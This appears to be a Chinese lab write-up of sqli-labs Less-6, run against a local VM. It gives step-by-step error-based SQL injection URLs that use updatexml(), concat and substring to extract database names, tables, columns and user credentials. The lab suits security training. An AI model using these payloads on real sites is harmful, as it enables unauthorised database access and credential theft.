sqli-labs靶场less-6使用updatexml函数报错注入

sqli-labs靶场less-6使用updatexml函数报错注入

本次测试在虚拟机搭建sqli-labs靶场,在主机端浏览器进行访问测试

1、updatexml函数

1.1 语法:

UPDATEXML(XML_document, XPath_string,new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称
  • 第二个参数:XPath_string (Xpath格式的字符串),Xpath语法
  • 第三个参数:new_value,string格式,替换查找到的符合条件的数据

1.2 用法:

sql 复制代码
SELECT updatexml(doc,'/book/title','1') FROM xml;

将XPath_string替换成一个用~开头的字符串使得函数报错,第一个参数

2、确定靶场注入类型,闭合方式

http://192.168.128.3/sq/Less-6/?id=1

http://192.168.128.3/sq/Less-6/?id=2

http://192.168.128.3/sq/Less-6/?id=1'

http://192.168.128.3/sq/Less-6/?id=1 and 1=1

http://192.168.128.3/sq/Less-6/?id=1 and 1=2

以上语句均没有回显,判断为字符型注入,输入

http://192.168.128.3/sq/Less-6/?id=1"

页面回显报错

从页面报错可以确定闭合方式为双引号

3、列数确定

http://192.168.128.3/sq/Less-6/?id=1" order by 5 --+

http://192.168.128.3/sq/Less-6/?id=1" order by 4 --+

http://192.168.128.3/sq/Less-6/?id=1" order by 3 --+

order by 3 的时候回显与之前一致,确定三列

4、判断数据库及版本

从之前回显判断页面正常情况无回显,也可以使用union select 1,2,3验证,故此处使用报错注入,此次我使用uodatexml函数报错注入

4.1 获取数据库名和版本号

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat('~',(select database())),3),3 --+

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat('~',(select version())),3),3 --+

5、进行数据库爆破

5.1 所有数据库

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,concat('~',(select group_concat(schema_name) from information_schema.schemata)),3),3 --+

因为updatexml报错注入返回长度只有32,用substring函数多次返回

substring`函数

例如:select substring(123456,1,3);

输出 123,输出第一个位置字符从第一个位置开始数三个,分批次输出我们想要的结果

至此得到所有所有数据库名

5.2 表名

  • http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1,30),3),3 --+

5.3 列名

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),1,30),3),3 --+

5.4 数据

http://192.168.128.3/sq/Less-6/?id=1" union select 1,updatexml(1,substring((concat('~',(select group_concat(username,',',password) from security.users))),1,30),3),3 --+

修改 security.users))),1,30),3),3 --+ 中的1,便可得到所有数据
至此,大功告成

相关推荐
群联云防护小杜6 分钟前
深度隐匿源IP:高防+群联AI云防护防绕过实战
运维·服务器·前端·网络·人工智能·网络协议·tcp/ip
会编程的林俊杰11 分钟前
MySQL中的锁有哪些
数据库·mysql
cts61813 分钟前
Milvus分布式数据库工作职责
数据库·分布式·milvus
周胡杰13 分钟前
鸿蒙加载预置数据库-关系型数据库-如何读取本地/预制数据库
数据库·华为·harmonyos·鸿蒙
布朗克16817 分钟前
java常见的jvm内存分析工具
java·jvm·数据库
汉得数字平台24 分钟前
【鲲苍提效】全面洞察用户体验,助力打造高性能前端应用
前端·前端监控
胡八一24 分钟前
SQLite / LiteDB 单文件数据库为何“清空表后仍占几 GB”?——原理解析与空间回收实战
jvm·数据库·sqlite
花海如潮淹30 分钟前
前端性能追踪工具:用户体验的毫秒战争
前端·笔记·ux
2401_831501731 小时前
Linux之Zabbix分布式监控篇(二)
数据库·分布式·zabbix
秋林辉2 小时前
Jfinal+SQLite处理 sqlite数据库执行FIND_IN_SET报错
jvm·数据库·sqlite